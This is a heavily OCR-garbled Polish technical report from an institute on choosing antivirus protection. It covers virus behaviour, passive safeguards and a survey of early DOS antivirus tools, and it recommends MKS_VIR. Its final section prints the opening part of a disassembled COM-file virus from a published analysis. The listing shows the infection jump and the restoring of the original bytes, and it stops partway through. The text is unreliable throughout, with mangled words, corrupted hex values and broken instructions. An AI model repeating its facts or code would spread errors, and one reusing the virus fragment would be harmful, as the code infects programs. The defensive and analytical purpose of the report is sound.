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1. Wstep

Zarddamiom pracy byto wyLypowanie na podstawie wystepujacych w
kraju programdw wirusowych skutecznych metod ochrony komputerdw
przed tego redzaju programami. Zagadnienie to jest o tyle wazne,
Za wigkszoid programdw ulywanych w laboratoriach komputerowych
Inztytstnn porhodzy ze  frdaded ni2licencjonowanych, a taka forma
pocyskiwania programéew  daje duzZze moZzliwosci "zainfekowania'
uzywanych komputerdw. Metody zabezpieczenia, mozna podzielid na
dwie grupy:.

- metody bierne) obrony polegajace nie na bezposredniej walce =z
programamli wirusowymi, lecz na maksymalnym ograniczeniu skutkdw
ich dzialania - =zardwno rozszerzaniu sie "infekcji" jak i
destrukcji. Metoda ta opiesra sie na szeregu dziatan uZzyitkownika
utrudnmiajacych 1nfekcie. Do metod takich nalezy tworzenie kopii
zapasowych zbiordw, ciagia obserwacja pracy systemu, porzadek na
twardym dysku., ograniczenia w przenoszeniu dyskietek pomiedzy
réZnyma komputerams .

- melody ochrony softwar owe) przed wirusam.

Przy wytypowaniu programu antywirusowego nalezato sie
kierowad kilkoma przestankami:

— charakterem prac prowadzonych =z wykorzystaniem sprzetu
komputerowego Instytutu. Chodziio tu przede wszystkim o czas
pracy programu, polrzebe jego czgstego uruchamiania, =zajmowanie
pamigcl operacyjnel iip,

- szerokim przekrogem uzytkownikdw sprzetu komputerowego, sa
wsrod nach  pracownicy dobrze obeznani z budowa 1 dziataniem
komputerdw jak 1 pracownicy traktujacy komputer jako narzedzie
pracy nie wnikajac w Jego zasade dziatania. Z tego powodu obsiuga
programu powinna by¢ jak najprostsza, by program mégi byd

wykorzystywany przez kazdego pracownika,



2. Budowa,, dziatani=e 1 rodzaje wystepujacych programdw

wilrusowych.

Frogram wirusa komputerowego Jest to specyficzny rodzaj
programu sabotazowego, kildry posiada wrasciwosci samopowielania
poprzez =zZmienltanie i1nnych programdw w ten sposdb, ze te po
zZmianie zawieraj)a kod wirusa. Tak zmienione programy po infekcji
LakZe posiada)s witasciwosci manipulacyjne w1rds§, infekecja wiec
moze s1¢ rozprzestrzeniad., Wirus programowy nie zostai wbrew
pozorom wynaleziony przez “hacker’ow”, lecz .przez naukowcdw =z
rell Laboratories. W listopadzie 1983 prof. Fred Cohen =z
Uniwerytetu Fcoiudniowa Kalifornia, w ramach prac nad sztucznag
inteligencja. odkryl nowy Lyp programéw mogacych uniemozliwiad
dziatanie i1nnych programdéw. Nowogcia tych programdéw byta 1ch
Zaprogramnowana égyeSJa. Firmy softwar’owe uwazZaly odkrycie za
antidobtum na nielegalny obrdt i1ch produktami 1 ‘moZna podejrzewacd,
=z Lego rodzaju firmy sa Zrddiem wickszosci wirusdw. Nazwe tego
Lypu programdw, przez podoblefstwo dziatania =z biologicznym
pirarwowzorem ustalil prof. Len Adleman tego samego uniwersytetu.

W dziataniu programu wlrusowego meozna wyrdznid cztery fazy:

- faza prerwsza, nazwana {ezag uspienia, kiedy program wirusa
doczepiony do Jakiegos zalnfekowanégo programuy uzytkowego
oczekuje na uruchomienie programu-nosiciela,

- f'aza druga, nazwana faza propagacji nastepuje po uruchomieniu
zainfekowanego programu. Wirus dokonule ainfekc)i dostepnych mu
Zbiordw wg rdznorodnych kryteridw. W zaleznodci od rodzaju wirusa
Jego kod moze byd umieszczony w programach o rozszerzeniach . EXE
lub . COM (najczesdcie] sa to moduly systemu operacyjnego np.
COMMAND, COM, IBMIO. COM. IBMDOS. CGOMD, nakiadki programowe na
zhiory =z rozszerzeniami .OVL lub .BIN, drivery systemowe Lypu
.SYS, tablica partyec): dysku starego, bool-sektor dysku stalego

Jub dyskietki, sektory oznaczone jako obszery o uszkodzonym

nmogniku a nawet dodatkowe d$ciezki na dyskietce lub na dysku

Lwardym,

- faza trzecia, nazwana fazg przygotowania do dziatania
destrukcyjnego polega na oczekiwaniu na speinienie pewnych
warunkdw wyzwalajacych dziatanie destrukcyjne wirusa. Warunkami

takimi moze byd data (np. 13 piatekd, okreslona godzina, 1losd

7



zaanfekowanych zbiordw 1tp. Fo spelnieniu warunku nastepuje. ..

- feza czwarta, nazwana faza destrukcjyi. Tutaj fantazja autordw
prouramdw nie zna granic. Dziatanie uaktywnionego wirusa mozZe sie
objawiad N1Sgroznyml Fomunikatami wyswietlanymi na ekranie
momtora jak  rysunek  choinky: = fZyczeniamy  Swiatecznym (wirus
Father Chra = fmas) albo Zyczenla Happy Birthday Joshi
wyswiel lanymir w dniu & stycznia (Cwirus Joshid lub wygrywaniem
melodyyel o okregdlone)] godzinie (bardzo popularny Lyp wirusa
Yankee Doodle), po naprawde grozne i przynoszﬁce ogromne szkody
dziatania niszczace. Najozgstszym obiektem ataku wirusa sa zasoby
programeowe na dysku twardym komputera. Jego dziatanie mozZe
polegad przykladowo na:

- poczatkowo niezauwazZalnych drobnych uszkodzeniach logicznych
systemu zbiordw, prowadzacych do powstania wielu plikdw o rdéznych
poczatkach lecz tym samym (fizyczniel kohcu,

- ZNLSTCZEeniu -obszaréw systemowych w sposdbh uniwmozZzliwiajacy
odczytl zawarte) na dysku informac)zi,

- wykonaniu formatowania catego lub czesci dysku,

- zmianie parametroéw konfaiguracj)yi dysku w pamieci CMOS RAM
uniemozliwiajace) komputerowy rozpoznanie typu dysku.

Oprocz dziatan niszczacych, ktdrych celem jest dysk zdarzaja
Si1€ programy wirusowe, kidérych dzialanie polega na:

- spowalnianiu dziatania komputera, .

- znieksztalcaniu wyéwietlaneJ na ekranie monitora informacji,

- probach uszkodzenia sprzgtu-— monitora, drukarki, napeddw.

Spotyka s1e programy wirusowe o nietypowym dziataniu, Np.
wirusy typu "Kon Trojanski®. Dzialtanie tego typu wirusa rozpoczyna
s1¢ od razu od fazy ostalnie}, dziatan niszczacych. Wirusy tego
Ltypu sa rozpowszechniane jako programy typu “"utilaities”, a po ich
uruchomieniu przez nireswiadomego uzytkownikea " nastepuja
natychmiastowe dziatania destrukcyjne.

Typowy program wirusowy zbudowany jest z dwéch funkcjonalnie
niezalaznych czesci. (Czesd powielajaca, uaktywniajaca sie w fazie
propagacji, posiada wszysikie funkcje niezbedne do rozprze-
strzerzania si1g wirusa. Usktywniony program poszukuje zbiory
odpowiednich do ich zainfekowania (np. poprzez wybdr odpowiedniej
diugosci programu, zainfekowanie programu zbyt krdétkiego mogioby
hyd tatwo zauwazZone), sprawdzanie czy wytypowany program nie jest

Juz zarazony (przez sprawdzenle rdznego rodzaju znacznikdw jak
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np. ustawienie czasu lub daty modyfikacji plikud i pe znalezieniu
odpowiadniego =bioru dopisaniu do niego swego kodu 1 ewentualne
ozZnaczenie zaraizon2go zbioru.

Ze wzgledu na sposdb dzialania programu wirusowego, programy
te mozna podzielid na wirusy o akcji wywotanej przez uruchomienie
programu zainfekowanego (direct actiond oraz wirusy instaluyjace
s1e w pamigcl komputera po uruchomieniu zainfekowanego programu
jako program rezydentny 1 doprero wéodwczas TroOzZpoczZynajace Swoja
dzialalnosd Cindirect actaiond. Ze wzgledu na doiaczanie sie kodu
programu wirusowago do wyLypowaneép programu mozZzna wyrdznid dwa
Lypy wirusdw: . :

-  Frogramy = wilrusows nlszczacé program oryginalny poprzez
zaplisanie na nim wiasnego kodd tak Jak to przedstawiono
schamat ycznie na ponizszym rysunku:

Program przed infekcga. .. !

K o d D rogramu

<. 2 po anfeko)a

[ Kod programu wirusa |(Reszia programu
L

Zainf 2kowany program ne zmienia swej diugogci, a kazda proéba
jego uruchomisnia powoduje przejscie - do fazy propagacji lub
destrukcjya. Dia zmylenia uzvtkownika po prdébach uruchomienia
programu mogsa pojawiad sie komunikaty o wystapieniu Jakiegos
bt edu. Zmieniony W ten sposéb program oryginalny Jjest
bezpowrotnie niszczony, lecz tego Lypu wirusy sa stosunkowo tatwe
do wykrycira. :.

- Programy wirusowe utrzymujace program oryginalny w stanie

umozliwiajacym jego uruchomienie 1 dopisujace sig na jego koncu.

Frogram przed infekcja

K o d programu

... 1 po infekcja . .

JM#} Kod progr a'ﬁ u Kod wirusa

-

Na poczatku programu dopisywany jest skok do programu wirusowego.

Fo o gjego wykonaniu nastepuje realizacja programu oryginalnego,



przes Ao dziatania programl wirusowego mogs, byd niezauwazZalne dla

uzyt kownka. Charakterystyczna cecha tego typu wirusdw jest
wzrost diugoscyr programs  orygilinalnego, dla rdzZnego rodzaju
wlrusdw ma on wartosd stada (np. wirus o nazwie "polski wirus”

zwigksza zbiory o 530 bhajgtdw) oraz znagdujaca sie na poczatku
programia anstrukcga skoku, stuzaca Jednoczednie jako znacznik
zainfekowania programu. W punkcie 6 pracy przedstawiono analize
listingu Loego typu wirusa. Programy tak zmienione mogs byd
odzyskane w poprzednie) postaci przez wstaw1enie w pierwsze trzy
bajty keodu egzekucy jnego programu poprzedniej zawartosci
przechowywane) w polu kodu wirusa i obciecie dotaczonej czedci.

Grupa wirusdw instaluje sie w Boot sektorach dyskdw lub w
tablicach partycga.

Dyskietka przed infekc)s

Boot,

Sector

FAT (Directory |Obszar danych

1 po infekac)a

Loader T Kod Kopia
SOONSUARAT |Directory |[Dane ~OPLa
Wirusa ! - wirusa | Bool’'a

Obszar danych

W zainfekowanej dyskietce zostaje zmieniony Boot Loader. Kazda
prdéba podniesienlta Systemﬁ operacyjnego 2z tak spreparowane]
dyskietks przez nieopatrzenie pozosiawxonej w kieszeni A
peowoduje uaklywnienie zZapisanego w jej PBoot Sektorze programu
wirusa 1 =zZainstalowanie go w pamieci komputera jako programu
rezydentnego. Tak samo moze ulec zainfekowaniu dysk twardy =z
kidrego startuje system. Tym sposobem dzialania charakteryzuja
s1e¢ medzy ainnym: wairusy “Sltoned’™, “New Zealend” czy "Disk
Killer*.

Nagnowsze generacj)e wirusdw dziatajg zardwno na zbiorach Jjak
1 w Boot Sektorze. Np. skasowanie zakazonych zbiordw wirusem
"Omicron’™, "1283" czy "Invader' powoduje na nowo zainfekowanie
zbioréy poprzez loader znajdujacy sie w rekordzie partycji.

O;tatnio producency sprzetu komputerowego wprowadzaja nowa
generacje Lzw. inteligenlnych kontrolerdw dyskowych SCSI Cnp.
firma Data Cared. Kontrolery {e mozZna tak skonfigurowad, ze
blokuja wszelkie proby zapisu informacji, a tym samym
uniemzliwiad wpisywanie sie wirusdw do boot sector’a lub tablicy

partycjlr dysku. Posi1adaja one rdéwniez mozliwosd¢ blokowania

Jree
R

e e



kopiowania programdw z dyskietek na dysk twardy

blokady prob formatowania dysku twardego.

oraz mozliwosd
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3. Melody slosowane w celu ochrony przed wirusami.

Met ody ochrony syvstemu komputerowego przed infekcja
programem wirusowym moina podzielid na metody ochrony biernej 1
cCTynne]. '

Metoda ochrony bierne) polega na przestrzeganiu pewnych
zasad  utrudmajacych lub wrecz uniemozliwiajacych =zarazenire
Zbiordw przechowywanych w pamieci komputera. Wiele zZrodel podaje
réinego rodzaju rady jJjak ustrzec system przed =zarazeniem. Do
takich "cudownych" srodkdw ma)s nalezed miedzy innymi:

- nadawanie Zzbiorom =z rozszerzeniem . COM 1 .EXE (jako
najbardziej podatnym na zarazenied atrybutdw READ ONLY,

— obserwowanie, a najlepie) zapisywanie diugogci i dat zbiordw,

- ci1agle. uwazZne obserwowanie pracy kompulera, zwracanie uwagi
na pojaw1anle éig nietypowych komunikatdéw, =zglaszanie braku
mozliwosry doslbepu do zapisu na dysku lub dyskietce, wydluzenie
czasu oczekiwania po wiaczeniu komputera itp,

- medopuszczanie do {ragmentac)i dysku itd.

Metody te napewno nie usirzega przed wprowadzeniem wirusa do
systeamu, [=cz moga ewntualnie ntrudnid jego witargniecie. Jednak
naghardzie) skuLteczne zasady bierne) ochrony przed wtargnieciem
wirusa do systemu Lo: '

- postugiwanie sig oryginalnym licenc)onowanym Oprogramowaniem,

W chwili obecne) wigkszodsd oprogramowan:ia pochodzy =z obrotu
nielicencjonowanego. Wprowadzenie do systemu programu, ktdry byl
JUZ w innym komputerze, chociazby podczas kopiowania z oryginatu,
moze byd Zrdédioam anfekcji systemu.

- tworzenmie reqularnych Vopaa zapasowych,

Tworzenie kopii zapasowych jest zasadsa uzyteczna nie tylko
ze wzgledu na wypadek ewentualne) infekcji systemu, lecz takze na
wypadek awariiy komputera, podczas ktdre) mozna stracid wszystkie
Zhiory.

- ograniczenie w przenoszeniu dyskietek pomiedzy komputeram:,

Najlepie) jedli przenoszone sg, Jedynie dyskietk1l bedace
Jedynie nodnikam: danych do programdw uzytkowych, gdyz takie =z
zasady nie moga byd Z“rddtem infekc)i. Dyskietki po skopiowaniu
powinny byd¢ oczywidcie natychmiast sformatowane.

— Jeden uZzytkownik komputera lub wyznaczona osoba odpowiedzialna

A



za stan oprogramowania.

Jeden uzytkownik komputera, pracujacy na sprawdzonym
oprogramowaniu  jest gwarancja niezainfekowania systemu przez
program wirusowy. Jednak wiele komputerdw posiada po kilku
uzytkownikdw., Sposrdd nich powinna byd wyznaczona osoba testujaca
1 ak%epLUJaca wprowadzenie kazdego nowegoe oprogramowania @ do
komputera: odpowiedzialna za tworzenie kopii zapasowych, dbajaca

o porzadek na dysku. W laboratoriach komputerowych P.W. przyjeto

zasade, ze wszystkie komputery bedace na wyposaZzeniu
laboratorium, do Ktidrych dostep ma wialu uzytkownikdw,
protlakt yvoznie, cCo pewien czas  sa  formatowane 1 na nowo

wprowadzane jest oprogramowanie systemowe i uzytkowe.
- Weryfikac)a oprogramowania zo pomoca narzgdziowych programdéw

antywirusowych.

~

10



W
S 8
‘.
4. Fodzaje programdw antywirusowych.
W uzyciu sa dwie =zasadnicze programowe metody ochrony
mystemui kompulerowego przed 1infekcja wirusa. Pierwsza metoda

polega na wykryciu : ewentualnym zlokalizowaniu JuzZ zarazonego
programu lub programdéw przez <ledzenie pracy systemu, druga na
przeciwdziadianiu wtargnieciu okreslonych Lypdw wirusa. Mimo tego,
Ze w pierwszce) metodzie system jest juz zainfekowany, metode te
mozna  naliczyd takZze do metod profilaktycznych, gdyz wczesne
wykrycie 1 zlokalizowanie wirusa nie pozwala na
rozprzesirzenienie sie i1nfekcji poprzez wykasowanie zZarazonego
programu Ckopie zapazowe!Dd.

W prerwsze) melodzie mozna rozrdznid programy dotaczajace
si¢ do systemu operacyjnego -1 ledzace aktywnosd uruchamianych na
komputerze progﬁaméw. ¥ przypadku dziatan budzacych podejrzenie

Jak  proby  zapisu do plikdw  typu . COM, . EXE, .S5Y S, préby

formatowania dyskdéw, zmiany =zawartosci pamiec: CMOS itd. Sa
szczegdlnie przydatne do obrony przed wirusami typu Kon
Troganski”™. Ich dziatanie opiera sie gidwnie na przechwytywaniu

przerwan systemowych. Odmienns grupe programéw stanowia programy
sledzace prace systemu poprzez obserwacje diugosci 1 sSum

kdntrélnych dostepnych na dyskach prégraméw, zapisywanie tych

.wartosclr w ospecjalnie stworzonych zbiorach kontrolnych 1 w raz.ie

Wyku01a:,?ml&h sygnalizula to. dCzasamir programy stosujace tLe
metode doraczane sa do systemu w  postaci karty rozszerzen,
blokhjacych fizycznie dostep do newralgicznych zasobdw systemu.
Do zalet ieg metody nalezv to, Ze zapobiega propagacji infekcjy: 1
destrulc)yr  bex znagomescl  rodzaju wirusa, lecz posiada takze
wady, 1 .tak pierwsza grupa programdw:

- Jest skuteczna wobec wirusdw uaktywniajacych sie po ich
zainstalowaniu, duza grupa wirusdéw boot-recordu 1 tablicy
partycjir dysku twardego moze dziatad bezkarnie,

T hagnowsze generacje wirusow potrafia odwolywad sie do dyskdw
przez bezposredni skok do procedur zawartych w pamieci statej, co
Jest nie do wykrycia metodami programowyma,

- dolaczajac si1e do systemu okupuja obszar pamigcl operacyjnej,

- spowalniaja dziaianie komputera,

— Przy wspdlpracy z nmektdrym: programami moga, prowadzid do
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bigdnego dzistania lub nawet do zawieszenia systemu,

- wymaga ]a od nZytkownika komputera dobrej Znajomosci
oprogramowania 1 wiasfciwej interpretacja zgraszanych komunikatdw.

Do wad drugie) grupy programdw nalezy:

- niemoZzliwoxRd wykrycia wirusa w nowym programie Ckod wirusa
Jest wliczony w sumie kontrolnej 1 diugogecid, '

- daja Jedynie moZzliwodd wykrycia wirusa, bez mozliwogci ich
unieszkodliwienia, chyba ze peprzez  wykasowanie zainfekowanych
programdéw,

- Mimo stosowanych szybkich algorytmdw obliczeniowych procedury
wyliczajace sumy kontrolne sa bardzo czasochlonne.

Do programéw stozujacych pirerwsza metodg nalezZza miedzy
Lnnyml programy: ANTVIRUS czeski program autorstwa Z.Hladika,
przechwytujacy proby zapisdw do plikdw typu .COM, .EXE, .S8YS;
VIRBELK. napisany prze Michaela Fitza =z Austrii (tylko ochrona
plikdéw COM 21 EKE, wyrdznia sie maiymi rozmiarami wymagane j
pamieci: operacyjneld; ANTI14US pochodzacy =z Holandii, Leiden,
autorstwa E.Lantinga Czajgmuje ok.80 kB pamieci operacyjineaj,
uzytkownik moZe wybrad opcje blokad zapisu na dysk, formatowania
dyskdw, instalacji iynnych prégraméw rezydéntnych, zmian plikdw
LCOM, L EXE. _BAT) czv majacy nagwigksze mozliwodci wyboru opcji:
przez uzZytkownika program FLUSHOT+ firmy Software Concept Design
autorstw Rossa Grinberga. -

Do grupy programdéw kontrolujacych =zmiany plikdéw poprzez
Sledzenie 1ch sum kontrolhyech 1 diugosci naleza miedzy innymi
amerykanskie programy: CHECKUP, autorstwa Richarda B. Levin’a
Ckontrolujacy okredlone przez wuzytkownika pliki, sprawdzenie
kazdego wymaga oddzielnego wywolania programu przez co jest
bardzo czasochionny) czy VIRUS DETECTER Tim'a OBrien’a (mozliwa
kontrola wszystkich 1lub wybranych plikdéw wg ich rozszerzen,
tworzy plik kontrolny w kidrym informuje o wykrytych zmianach)

Druga metoda opierajaca sie na sprawdzaniu plikdéw i obszardw
pamigciy pod katem okreglonych Ltypdw wirusdw jest metods ma jaca
Zalely takie Jak szybkosci dziatania, zlokalizowanie i
unieszkodliwienie wirusa, ewent.ualne odzyskanie zmienionych
plikdw oraz przede wszystkim mozZzliwosd sprawdzen:ia programodw
przed i1ch uruchomien{em. Gidwna wada tego rodzaju programéw jest
skutecznosd Lvylko wobec znhnanych autorowi Lypdw wirusdw. Programy

kontrolujace sysiem pod wzgledem duzej 1lodci wirusdw sa =z zasady

iz

L2 8 TR



Programam: - wo pedny provesjonalnymy, o ciagle rozbudowywanych
katalogach wzorcdw sprawdzanych wirusdw. Program taki powinien
uwzgledniad oprdcz podstawowych typdw wirusdw jego mutacje, czyli
byd w miarce elastyczny.

Do programdéw dziatajacych wg tej metody nalezy duza i1losd
programéw dziatajacych tylko na okreslony typ wirusa, tworzonych
w wxekszoéc1 przez autorow w wypadku wykrycia 1 zbadania danego
wirusa. Do takich programéw naleZs miedzy innymi: ANTI t-my Droid
System Inc, ANTI1 nieznanego autora, czy aqstriacki program
A.Cestera ANTIZ2 szukajace tzw wirusa ”polskie%p“ inaczej zwanego
"Lrzynastka'" w =zbiorach .COM 1 .EXE i unieszkodliwiajace go,
ANTIVIR czeskiego autora Z.Hladika, AZOTOX autorstwa
A. Baczynskiego, CHKVIRE przeszukujacy pliki w  poszukiwaniu
wirusdw "polskiego® i niektdrych typdw wirusdw typu Kot
Trojanski™ czy programy CURE 1 DIAG autorstwa J.Sobczaka
wykrywajacy 1 "ewentualnle unieszkodliwiajacy wirusy Lypu
"polskiego” oraz KATMUZ A.Kadlofa unieszkodliwiajacy wirusa o
nazwie "muzykant' lub DOCTOR nieznanych autordw szukajacy wirusdw
w sektorze zerowym dysku. Do  programdw aktywnych wobec duzej
ilosgca wiruséw naleza:™ paklét programdw  SCAN f'-my  McAfee
Associates przeszukujacy zbiory wg okreglonych, przez uzytkownika
opcyi. Wersjgya programu 3.8V63 jest wykrywa ponad 100 typdw
wirusdw. ktorych charakterystyki podane sa w zataczonym do
pakietu zbiorze VIRLIST. TXT. Frzy pomocy programu CLEAN-UP
mozliwe jest unieszkodliwienie wirusdw 1 ewentualne odzyskanie
zalnfekoﬁanych plikdw. Pakiet programéw  pod nazwa, NORTON
ANTIVIRUS f—my Symantec Corporation iaczy w sSwym dziataniu obie
metody ochrony przed wirusami. Cirezar walki spoczywa na dwdch
programach pakietu Virus Intercepltor 1 Virus Clinac. Pierwszy =z
nich kontroluje wszystkie wczytywane do pamigci pliki i szuka
Znanych mu wirusdw, zajmuje ok. 265kB pamieci (przewidziana Jest
takze wersjs mniejsza, lecz o ubozszych mozliwogciach). Wiasciwym
programem antywirusowym jest Virus Clinic. Przy jego pomocy mozna
przeszukiwad caty dysk, yybrane pliki lub katalogi. Uzytkownik ma
mozliwosd chroni¢ pliki przy pomocy sum‘kontrolnych. Wersja 1.8
programu definiuje ok. 280 definic)i wirusdw. Podobne mozliwosci
przedstawia soba produkt -my PC-Plus GmbH pod nazwa Virus
Doktor. frogram rozpoznaje ok. 2E0  wirusdw, ma mozlwosd

unieszkodliwiania 1i1ch 1 pracy kontrolujacej dziatania systemu

13
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Cprogram  GUARDD . NDodatkowa mozliwosciag, Jest przechowywanie
zawartoscy CMOS RAM, Boot-sektora i tablicy partycji oraz
pierwszych 32B wszystkich programdw na zapasowej dyskietce w celu
ewentualnegoe odzyskania uszkodzonych plikdw. Polski program
MKS_VIR f-my Apexim przeprowadza samokontrole programu, kontrole
wybranych dyskdw Cw tym boot sektora i obszaru pertycjid oraz
pamieca operacy nes}. ¥ razie wykrycia obecnodgci w pamieci
nagnowszych Lypdw wirusa, kitdérych jeszcze nie potraf: zZwalczyd
sugeruye  wystartowsnie systenmu =z niezainfekowanej dyskietki.
Program jest ciagle aktualizowany 1 w warsji 1.688 potrafi
rozpoznacd  ok. 300 wirustw., Uzytkownik moze wybrad rédézZne opcje
dziatamia np. szukanie tylko wirusdw wystepujacyvch w Polsce,
wowezas sprawdzanie dysku Lrwa tylko ok. 30 sek, umozliwiajac
dotaczenie  wywolania programu  do  AUTOEXEC’ u. Interesujacyma
programamir sa bulgarski progfam Vasselina’a Bontchev’a CleanUp
badacy progra&em wsadow&m' wywotujacym kolejino programy
poszukujace rdZnych typdw w1;usémr Cma przez to b. diugi czas
dziatanial) oraz holenderska program TBSCAN o b. szybkim czasie
dziatenia uzyskanym przez napisanie programu catkowicie w kodzie
maszynowym.

Z2  wzgledu na charakter prac prowadzonych w Instytucie
(postugiwanie S1e mnie ) wiece ] statym oprogramowaniem
narzgdziowym, stali1 uzytkownicy komputerdw 1 rzadkie przenoszenie
migdzy komputerami programédw uZytkowychd do ochrony sprzetu
komputeﬁowego przed wprowadzeniem wirusa najbardzie odpowiedni
wydaje sie program umoZliwiajacy przede wszystkim kontrole nowych
srogramdw przed instalacj)a i1ch na komputerze. Dlatego powinien
by¢ to jeden =z programéw antywirusowych dziatajacych wg metody
drugie=), tzn sprawdzajacy systeggpod wzgledem znanych wirusdw. Ze
wzgledu na  1stniejacy w Polégé nielegalny obrét programam:
komputerowymi, produkty autorﬁ%ﬁa Polskiey firmy beda szybciej
reagowadc na  pojawlajace Sl¢ﬁ”%ajnowsze Lypy wirusdw. 2 tej
przyczyny podczas zakupu zagwataniowany powinien by¢ dostep do
pojawliajacych si1€ nowszych wer;j} programu. Dlatego do =zakupu
wytypowany zostatl produkt fi?my APEXIM MKS_ VIR opisany

dokiadnie) w nastepnym punkCLe'pracy.

.
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5. Opis 1 dziatanie wybranego programu antywirusowego

mks vir,

Program MKE _VIR autorsiwa Marka Sella w Jednym szybkim

przebiegu rozpoznale 1 niszczy wiele tLypdw wirusodw. Frogram jest

W 3posdh ciagiy akitualizowany. Autor szybko reaguje na najnowsze
wersje wirusdw poprzez prowadzona polityke licencyjna polegajaca
na tym, Ze po dostarczeniu autorowli nowéj ocdmiany wirusa
otrzymuje sig bezpitatnie kopie nowe) wersji programu poirafiacej
go usunad. Frogram po uluchomieniu przeprowadza kontrole pamieci
operacyine) komputera oraz samokontrole. Program potrafi usuwad
wiekszos<¢ wirusdw z zaintekowanych programéw bez ich niszczenia.

W przypadku napotkania Wirusa nieusuwalnego mozliwe Jest

il

skasowanie zainfekowanego programu  lub  zmiana rozszerzenia

U

na . VIR un:emoiilwlaJaca Jego uruchomienie.

Frogram pos:iada wlelg opclr przydatnych w uzyciu programu.
Mozliwe jest sprawdzanie poszczegdlnych dyskdw lub podkatalogdw.
Jesli wuZytkownikowl zaleZy na szybkogci dziatania programu (np.
wywolanie programug w  autoexec”ud mozliwe jest przyspieszenie
dziatania przern szukanis wirusdw, ktére dotychczas pojawity sie w
Polsce oraz przez w&qczenléiopCJL przeszukiwania przyspieszonego
Cturbod. Dostepne  jest  takze blokoﬁanle sprawdzania pamieci
operacyjinej, Boob-sektora lub tablicy partycyi dyskdw. Mozliwe
Jest wiaczenie opcii wolnie)szego lecz dokitadniejszego szukania
wszystkich znanych wirusdw we wszystkich zbiorach.

Do zalet programu MKS_VIR nalezy zaliczyd w  peini
profesjonalna szate graticzna programu ogromnie upraszczajaca
postugiwanie Si1¢ num oraz opisy menu w Jjezyku polskim. Program
pozwala na zapoznanie sS1g = réznymi typama najbardzie}
popularnych wirusow. Fodana jest informacja o ich zasadzie
dziatania 1 objawach po kidrych moZna rozpoznad ich obecnogdé.

Firma Apexim zajymujaca sie dystrybucja programu MKS_VIR daje
zezwolenlia na. postugilwanie sie programem we wszystkich
komputerach nalezZzacych do firmy, ktéra zakupita, wyZ/wym program.
Mozliwe jest takze wykupienie rocznego abonamentu gwarantujace

automatyczne oitrzymywanie na)nowszych wersji programu MKS VIR.
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B. Analiza dzialania przykiadowego Programu wirusowego.

PoniZsze. analize =zaczerpnieto'z artykuiu A, Baczynskiego =z
Politechniki tddzkiej.

Dziatanie programu wirusa.
Wirus ukrywa sie w zbiorach COM 1 czeka na aktywacje. Nie jest to
trudne, bo poczatek =zbioru zostal przerobiony przez wirusa na

skok do jego kodu. Tak wiec zaraz po uruchomieni takiego COM-a

wykona sie program wirusa, a dopiero polem - zupeinie poprawnlie.
by nie budzid podejrzen, program - nosicrel. Uruchomiony wirus
ma zasadniczo jeden cel - rozmnozydé sie. Nagpierw poszukuje

swojej ofiary. MozZze bydé nia dowolny zbidr COM -~ bo tylko taka
gwarantuje wirusowi poprawne uruchmienie (tu autor wirusa Sl nie
wysili:d. UZzycie dla zbioru atrybutu Read-Cnly albo Hidden na nic
si1e nie =zda, bo wirus otworzy sobie takie zbiory. Natomiast
przyzwoily system ochrony dostepg uzywany w sieci (np MNowvell)
stanowi zapore dla wirusa, chyba Ze ten zdota zawkadnad
programem uZzywanym przez Supervisora. Swoje) ofiary wirus szuka
najpierw w biezZzace) kartotece, a poZnie) kolsjno we wszystkich
wymienionych na liscie sSciezek dostepu CPATHD. Zbiory “zarazZons®
s3, omijane. Aby szybko je rozpoznad , wirus zostawia speéja]ny
znacznik w kartotece. Jesli zbidr mae jest za duzy (musy zezwolid
na dopisanie kodu wirusa i zmiescid sie w limicie S4kB) ani za
maty (musi byd miejsce na skok do kodu wirusad, wirus rozpoczyna
procedure powielania. Jej erektem jest na ogdl wpisanie sie do
zbioru - ofiary. Niestety “dowcipny'" autor wirusa wymyslii
sobie, 2e =z prawdopodobienstwam 1.8 nastapr wslawienie na
poczatek zbioru-ofiary rozkazu skoku do restartu komputera. MNie
bytoby 1o tragedia, gdyby poczatkowe pted  bajtdw programu
zostalsz’zabezpieczone, tak jak podczas “rozmnafania'  wirusa.
Niestety, uszkdbdzenie zbioru Jest 'w tym przypadk® nieodwracalne.
Tylko w tym momencie wirus jest na prawde szkodliwy 1 gdyby me
to, mozZnaby go traktowad jako giupi, als niewinny Zart. W kohcu
zbidr -~ ofiara zostaje zamkniety, a jego atrybuty i data zapisu -
zrekonstruowane wediug stanu poczatkowego. PFo wykonaniu jedne)
swojej kopii wirus oddaje sterowanie do programua — nosicaela.
Szczegdlnie dobre warunki powielania stwarzaja wirusowi programy,
ktére =zajmuja miejsce COMMAND w pamieci RAM 2 wywoluja ten

program w celu wykonania pojedydczych komend. Tak pracuje Norton
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Commander. ale takze pakiety Borlanda. Command. COM Jest

szczegdlnie podatny na z=arazenie, bo znajgduje sie zazwycza] na

poczatku kartoteki 1 zwykle ma ustawiong 3ciezke dostepu. Stad

Jego kazdorazowe uruchomienie grozi uszkodzeniem kolejnego

zbhioru. i
Analiza dziatania. .

Magpierw przygotowano "pozywke'. Byt nia ponizszy program, ktéry

Me nie robi. tylko grzecznie wraca funkcje DOS 21.-0. Znaczenie

poczatkowych NOPOSw wyniknie podczas analizy dziatania wirusa.

Pierwotna zawartosd¢ zbioru WIRUS. COM

2C8C: 0100 9O nop ;nic

2C2C: 0101 80 nop A
2Cad: 0102 Q0 nop i
2C38C: 0103 20 nop

2C8C: 0104 30 nop

2C8C: 0105 BBOOOO mowv ax, 0000 ;1 powrdt

2Ced: 0108  Cha1 | int 21

Zb16r ten podsunieto wirusowl - w biezacej kartotece byi Jedynym.

A oto wynik:

Tresd programu "w1rusa";‘ﬁal020nego na zbidr WIRUS. COM
2C8C: 0100  ESO700 Jmp - O10ACW_COD> ; Skok do kodu wirusai
2C8C: 0103 80 nop ; To zostaio -
2C8C: 0104 S0 * nop ‘ ; Z oryginalnego
2C8C: 0108  BS8OOOO mov ax, 0000 ; Programu.
2C9C: 0108 CDal int 21
2C8C: 010A 5B W_COD: push ox ; Odtad jest wirus.
2CgC: 010B  BAO203 mnov dx, O203CW_DAT> ;Tam jest obszar
2C8C: O10E  FC cld ;danych wirusa.
2C8C: 010F 8BF2 mov s1,dx ;Najpierw odbuduje
2C8C: 0111 81CB0A00 add s1, C0O0A ;poczatkowe 3 bajty .
2C8C: 0118  BFOOO1 mov ¢ di, 0100 ; programu '
;Oryginalnego,
a2CsC: o118 BSO300 mov cx, 0003 ;aby wykona¢ go
2C8C: 011B  F2A4 repz movsb ; pozornie bez zmian.
2C8C: 011D 8BF2 mov si,dx ;Ale wczedniej robi
; Swoje:
2CaC: O11F  B430 mov ah, 30 ; Sprawdza nr wersji
